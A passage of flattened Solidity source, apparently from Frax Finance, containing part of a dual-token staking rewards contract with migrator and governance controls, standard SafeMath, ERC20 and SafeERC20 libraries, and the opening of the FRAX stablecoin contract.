(account != address(0)) { // Calculate the earnings (uint256 earned0, uint256 earned1) = earned(account); rewards0[account] = earned0; rewards1[account] = earned1; userRewardPerTokenPaid0[account] = rewardPerTokenStored0; userRewardPerTokenPaid1[account] = rewardPerTokenStored1; } } // Staker can allow a migrator function stakerAllowMigrator(address migrator_address) public { require(staker_allowed_migrators[msg.sender][migrator_address] == false, "Address already exists"); require(valid_migrators[migrator_address], "Invalid migrator address"); staker_allowed_migrators[msg.sender][migrator_address] = true; } // Staker can disallow a previously-allowed migrator function stakerDisallowMigrator(address migrator_address) public { require(staker_allowed_migrators[msg.sender][migrator_address] == true, "Address doesn't exist already"); // Delete from the mapping delete staker_allowed_migrators[msg.sender][migrator_address]; } // Two different stake functions are needed because of delegateCall and msg.sender issues (important for migration) function stakeLocked(uint256 liquidity, uint256 secs) public { _stakeLocked(msg.sender, msg.sender, liquidity, secs); } // If this were not internal, and source_address had an infinite approve, this could be exploitable // (pull funds from source_address and stake for an arbitrary staker_address) function _stakeLocked(address staker_address, address source_address, uint256 liquidity, uint256 secs) internal nonReentrant updateRewardAndBalance(staker_address, true) { require((!stakingPaused && migrationsOn == false) || valid_migrators[msg.sender] == true, "Staking is paused, or migration is happening"); require(liquidity > 0, "Must stake more than zero"); require(greylist[staker_address] == false, "Address has been greylisted"); require(secs >= lock_time_min, "Minimum stake time not met"); require(secs <= lock_time_for_max_multiplier,"You are trying to lock for too long"); uint256 lock_multiplier = lockMultiplier(secs); bytes32 kek_id = keccak256(abi.encodePacked(staker_address, block.timestamp, liquidity)); lockedStakes[staker_address].push(LockedStake( kek_id, block.timestamp, liquidity, block.timestamp.add(secs), lock_multiplier )); // Pull the tokens from the source_address TransferHelper.safeTransferFrom(address(stakingToken), source_address, address(this), liquidity); // Update liquidities _total_liquidity_locked = _total_liquidity_locked.add(liquidity); _locked_liquidity[staker_address] = _locked_liquidity[staker_address].add(liquidity); // Need to call to update the combined weights _updateRewardAndBalance(staker_address, false); emit StakeLocked(staker_address, liquidity, secs, kek_id, source_address); } // Two different withdrawLocked functions are needed because of delegateCall and msg.sender issues (important for migration) function withdrawLocked(bytes32 kek_id) public { _withdrawLocked(msg.sender, msg.sender, kek_id); } // No withdrawer == msg.sender check needed since this is only internally callable and the checks are done in the wrapper // functions like withdraw(), migrator_withdraw_unlocked() and migrator_withdraw_locked() function _withdrawLocked(address staker_address, address destination_address, bytes32 kek_id) internal nonReentrant notWithdrawalsPaused updateRewardAndBalance(staker_address, true) { LockedStake memory thisStake; thisStake.liquidity = 0; uint theArrayIndex; for (uint i = 0; i < lockedStakes[staker_address].length; i++){ if (kek_id == lockedStakes[staker_address][i].kek_id){ thisStake = lockedStakes[staker_address][i]; theArrayIndex = i; break; } } require(thisStake.kek_id == kek_id, "Stake not found"); require(block.timestamp >= thisStake.ending_timestamp || stakesUnlocked == true || valid_migrators[msg.sender] == true, "Stake is still locked!"); uint256 liquidity = thisStake.liquidity; if (liquidity > 0) { // Update liquidities _total_liquidity_locked = _total_liquidity_locked.sub(liquidity); _locked_liquidity[staker_address] = _locked_liquidity[staker_address].sub(liquidity); // Remove the stake from the array delete lockedStakes[staker_address][theArrayIndex]; // Need to call to update the combined weights _updateRewardAndBalance(staker_address, false); // Give the tokens to the destination_address // Should throw if insufficient balance stakingToken.transfer(destination_address, liquidity); emit WithdrawLocked(staker_address, liquidity, kek_id, destination_address); } } // Two different getReward functions are needed because of delegateCall and msg.sender issues (important for migration) function getReward() external returns (uint256, uint256) { return _getReward(msg.sender, msg.sender); } // No withdrawer == msg.sender check needed since this is only internally callable // This distinction is important for the migrator function _getReward(address rewardee, address destination_address) internal nonReentrant notRewardsCollectionPaused updateRewardAndBalance(rewardee, true) returns (uint256 reward0, uint256 reward1) { reward0 = rewards0[rewardee]; reward1 = rewards1[rewardee]; if (reward0 > 0) { rewards0[rewardee] = 0; rewardsToken0.transfer(destination_address, reward0); emit RewardPaid(rewardee, reward0, address(rewardsToken0), destination_address); } // if (token1_rewards_on){ if (reward1 > 0) { rewards1[rewardee] = 0; rewardsToken1.transfer(destination_address, reward1); emit RewardPaid(rewardee, reward1, address(rewardsToken1), destination_address); } // } } function renewIfApplicable() external { if (block.timestamp > periodFinish) { retroCatchUp(); } } // If the period expired, renew it function retroCatchUp() internal { // Failsafe check require(block.timestamp > periodFinish, "Period has not expired yet!"); // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 num_periods_elapsed = uint256(block.timestamp.sub(periodFinish)) / rewardsDuration; // Floor division to the nearest period uint balance0 = rewardsToken0.balanceOf(address(this)); uint balance1 = rewardsToken1.balanceOf(address(this)); require(rewardRate0.mul(rewardsDuration).mul(num_periods_elapsed + 1) <= balance0, "Not enough FXS available for rewards!"); if (token1_rewards_on){ require(rewardRate1.mul(rewardsDuration).mul(num_periods_elapsed + 1) <= balance1, "Not enough token1 available for rewards!"); } // uint256 old_lastUpdateTime = lastUpdateTime; // uint256 new_lastUpdateTime = block.timestamp; // lastUpdateTime = periodFinish; periodFinish = periodFinish.add((num_periods_elapsed.add(1)).mul(rewardsDuration)); (uint256 reward0, uint256 reward1) = rewardPerToken(); rewardPerTokenStored0 = reward0; rewardPerTokenStored1 = reward1; lastUpdateTime = lastTimeRewardApplicable(); emit RewardsPeriodRenewed(address(stakingToken)); } function sync() public { if (block.timestamp > periodFinish) { retroCatchUp(); } else { (uint256 reward0, uint256 reward1) = rewardPerToken(); rewardPerTokenStored0 = reward0; rewardPerTokenStored1 = reward1; lastUpdateTime = lastTimeRewardApplicable(); } } /* ========== RESTRICTED FUNCTIONS ========== */ // Migrator can stake for someone else (they won't be able to withdraw it back though, only staker_address can). function migrator_stakeLocked_for(address staker_address, uint256 amount, uint256 secs) external isMigrating { require(migratorApprovedForStaker(staker_address, msg.sender), "msg.sender is either an invalid migrator or the staker has not approved them"); _stakeLocked(staker_address, msg.sender, amount, secs); } // Used for migrations function migrator_withdraw_locked(address staker_address, bytes32 kek_id) external isMigrating { require(migratorApprovedForStaker(staker_address, msg.sender), "msg.sender is either an invalid migrator or the staker has not approved them"); _withdrawLocked(staker_address, msg.sender, kek_id); } // Adds supported migrator address function addMigrator(address migrator_address) public onlyByOwnerOrGovernance { require(valid_migrators[migrator_address] == false, "address already exists"); valid_migrators[migrator_address] = true; valid_migrators_array.push(migrator_address); } // Remove a migrator address function removeMigrator(address migrator_address) public onlyByOwnerOrGovernance { require(valid_migrators[migrator_address] == true, "address doesn't exist already"); // Delete from the mapping delete valid_migrators[migrator_address]; // 'Delete' from the array by setting the address to 0x0 for (uint i = 0; i < valid_migrators_array.length; i++){ if (valid_migrators_array[i] == migrator_address) { valid_migrators_array[i] = address(0); // This will leave a null in the array and keep the indices the same break; } } } // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance { // Admin cannot withdraw the staking token from the contract unless currently migrating if(!migrationsOn){ require(tokenAddress != address(stakingToken), "Cannot withdraw staking tokens unless migration is on"); // Only Governance / Timelock can trigger a migration } // Only the owner address can ever receive the recovery withdrawal ERC20(tokenAddress).transfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyByOwnerOrGovernance { require( periodFinish == 0 || block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } function setMultipliers(uint256 _lock_max_multiplier, uint256 _vefxs_max_multiplier, uint256 _vefxs_per_frax_for_max_boost) external onlyByOwnerOrGovernance { require(_lock_max_multiplier >= uint256(1e6), "Multiplier must be greater than or equal to 1e6"); require(_vefxs_max_multiplier >= uint256(1e18), "Max veFXS multiplier must be greater than or equal to 1e18"); require(_vefxs_per_frax_for_max_boost > 0, "veFXS per FRAX must be greater than 0"); lock_max_multiplier = _lock_max_multiplier; vefxs_max_multiplier = _vefxs_max_multiplier; vefxs_per_frax_for_max_boost = _vefxs_per_frax_for_max_boost; emit MaxVeFXSMultiplier(vefxs_max_multiplier); emit LockedStakeMaxMultiplierUpdated(lock_max_multiplier); emit veFXSPerFraxForMaxBoostUpdated(vefxs_per_frax_for_max_boost); } function setLockedStakeTimeForMinAndMaxMultiplier(uint256 _lock_time_for_max_multiplier, uint256 _lock_time_min) external onlyByOwnerOrGovernance { require(_lock_time_for_max_multiplier >= 1, "Multiplier Max Time must be greater than or equal to 1"); require(_lock_time_min >= 1, "Multiplier Min Time must be greater than or equal to 1"); lock_time_for_max_multiplier = _lock_time_for_max_multiplier; lock_time_min = _lock_time_min; emit LockedStakeTimeForMaxMultiplier(lock_time_for_max_multiplier); emit LockedStakeMinTime(_lock_time_min); } function initializeDefault() external onlyByOwnerOrGovernance { lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit DefaultInitialization(); } function greylistAddress(address _address) external onlyByOwnerOrGovernance { greylist[_address] = !(greylist[_address]); } function unlockStakes() external onlyByOwnerOrGovernance { stakesUnlocked = !stakesUnlocked; } function toggleMigrations() external onlyByOwnerOrGovernance { migrationsOn = !migrationsOn; } function toggleStaking() external onlyByOwnerOrGovernance { stakingPaused = !stakingPaused; } function toggleWithdrawals() external onlyByOwnerOrGovernance { withdrawalsPaused = !withdrawalsPaused; } function toggleRewardsCollection() external onlyByOwnerOrGovernance { rewardsCollectionPaused = !rewardsCollectionPaused; } function setRewardRates(uint256 _new_rate0, uint256 _new_rate1, bool sync_too) external onlyByOwnerOrGovernance { rewardRate0 = _new_rate0; rewardRate1 = _new_rate1; if (sync_too){ sync(); } } function toggleToken1Rewards() external onlyByOwnerOrGovernance { if (token1_rewards_on) { rewardRate1 = 0; } token1_rewards_on = !token1_rewards_on; } function setTimelock(address _new_timelock) external onlyByOwnerOrGovernance { timelock_address = _new_timelock; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event StakeLocked(address indexed user, uint256 amount, uint256 secs, bytes32 kek_id, address source_address); event WithdrawLocked(address indexed user, uint256 amount, bytes32 kek_id, address destination_address); event RewardPaid(address indexed user, uint256 reward, address token_address, address destination_address); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); event RewardsPeriodRenewed(address token); event DefaultInitialization(); event LockedStakeMaxMultiplierUpdated(uint256 multiplier); event LockedStakeTimeForMaxMultiplier(uint256 secs); event LockedStakeMinTime(uint256 secs); event MaxVeFXSMultiplier(uint256 multiplier); event veFXSPerFraxForMaxBoostUpdated(uint256 scale_factor); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; interface IveFXS { struct LockedBalance { int128 amount; uint256 end; } /* ========== VIEWS ========== */ function balanceOf(address addr) external view returns (uint256); function balanceOf(address addr, uint256 _t) external view returns (uint256); function balanceOfAt(address addr, uint256 _block) external returns (uint256); function totalSupply() external view returns (uint256); function totalSupply(uint256 t) external view returns (uint256); function totalSupplyAt(uint256 _block) external returns (uint256); function totalFXSSupply() external view returns (uint256); function totalFXSSupplyAt(uint256 _block) external view returns (uint256); function locked(address addr) external view returns (LockedBalance memory); /* ========== PUBLIC FUNCTIONS ========== */ function checkpoint() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Common/Context.sol"; import "./IERC20.sol"; import "../Math/SafeMath.sol"; import "../Utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "./IERC20.sol"; import "../Math/SafeMath.sol"; import "../Utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ======================= FRAXStablecoin (FRAX) ====================== // ==================================================================== // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian // Reviewer(s) / Contributor(s) // Sam Sun: https://github.com/samczsun import "../Common/Context.sol"; import "../ERC20/IERC20.sol"; import "../ERC20/ERC20Custom.sol"; import "../ERC20/ERC20.sol"; import "../Math/SafeMath.sol"; import "../Staking/Owned.sol"; import "../FXS/FXS.sol"; import "./Pools/FraxPool.sol"; import "../Oracle/UniswapPairOracle.sol"; import "../Oracle/ChainlinkETHUSDPriceConsumer.sol"; import "../Governance/AccessControl.sol"; contract FRAXStablecoin is ERC20Custom, AccessControl, Owned { using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ enum PriceChoice { FRAX, FXS } ChainlinkETHUSDPriceConsumer private eth_usd_pricer; uint8 private eth_usd_pricer_decimals; UniswapPairOracle private fraxEthOracle; UniswapPairOracle private fxsEthOracle; string public symbol; string public name; uint8 public constant decimals = 18; address public creator_address; address public timelock_address; // Governance timelock address address public controller_address; // Controller contract to dynamically adjust system parameters automatically address public fxs_address; address public frax_eth_oracle_address; address public fxs_eth_oracle_address; address public weth_address; address public eth_usd_consumer_address; uint256 public constant genesis_supply = 2000000e18; // 2M FRAX (only for testing, genesis supply will be 5k on Mainnet). This is to help with establishing the Uniswap pools, as they need liquidity // The addresses in this array are added by the oracle and these contracts are able to mint frax address[] public frax_pools_array; // Mapping is also used for faster verification mapping(address => bool) public frax_pools; // Constants for various precisions uint256 private constant PRICE_PRECISION = 1e6; uint256 public global_collateral_ratio; // 6 decimals of precision, e.g. 924102 = 0.924102 uint256 public redemption_fee; // 6 decimals of precision, divide by 1000000 in calculations for fee uint256 public minting_fee; // 6 decimals of precision, divide by 1000000 in calculations for fee uint256 public frax_step; // Amount to change the collateralization ratio by upon refreshCollateralRatio() uint256 public refresh_cooldown; // Seconds to wait before being able to run refreshCollateralRatio() again uint256 public price_target; // The price of FRAX at which the collateral ratio will respond to; this value is only used for the collateral ratio mechanism and not for minting and redeeming which are hardcoded at $1 uint256 public price_band; // The bound above and below the price target at which the refreshCollateralRatio() will not change the collateral ratio address public DEFAULT_ADMIN_ADDRESS; bytes32 public constant COLLATERAL_RATIO_PAUSER = keccak256("COLLATERAL_RATIO_PAUSER"); bool public collateral_ratio_paused = false; /* ========== MODIFIERS ========== */ modifier onlyCollateralRatioPauser() { require(hasRole(COLLATERAL_RATIO_PAUSER, msg.sender)); _; } modifier 